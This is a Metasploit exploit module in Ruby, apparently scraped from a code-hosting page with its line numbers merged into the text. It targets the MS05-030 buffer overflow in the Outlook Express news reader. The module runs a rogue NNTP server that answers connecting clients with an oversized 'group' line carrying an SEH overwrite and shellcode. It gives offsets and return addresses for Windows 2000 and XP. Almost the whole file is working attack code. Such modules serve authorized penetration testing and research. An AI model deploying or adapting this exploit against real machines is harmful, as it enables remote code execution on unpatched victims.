Path: blob/master/modules/exploits/windows/nntp/ms05_030_nntp.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the news reader of Microsoft18Outlook Express.19},20'Author' => 'MC',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2005-1213' ],24[ 'OSVDB', '17306' ],25[ 'BID', '13951' ],26[ 'MSB', 'MS05-030' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'AllowWin32SEH' => true31},32'Payload' => {33'Space' => 750,34'BadChars' => "\x00",35'MaxNops' => 0,36'StackAdjustment' => -3500,37'EncoderType' => Msf::Encoder::Type::AlphanumUpper,38},39'Platform' => 'win',40'Targets' => [41['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],42['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],43],44'Privileged' => false,45'DisclosureDate' => '2005-06-14',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])58]59)60end6162def on_client_connect(client)63yup = "200\r\n"6465client.put(yup)66client.put(yup)67end6869def on_client_data(client)70return if ((p = regenerate_payload(client)) == nil)7172filler = "215 list\r\n" + "group "73filler << rand_text_english(target['Offset'])74seh = generate_seh_payload(target.ret)75sploit = filler + seh + " 1 y\r\n\.\r\n"7677print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")78client.put(sploit)7980handler81service.close_client(client)82end83end848586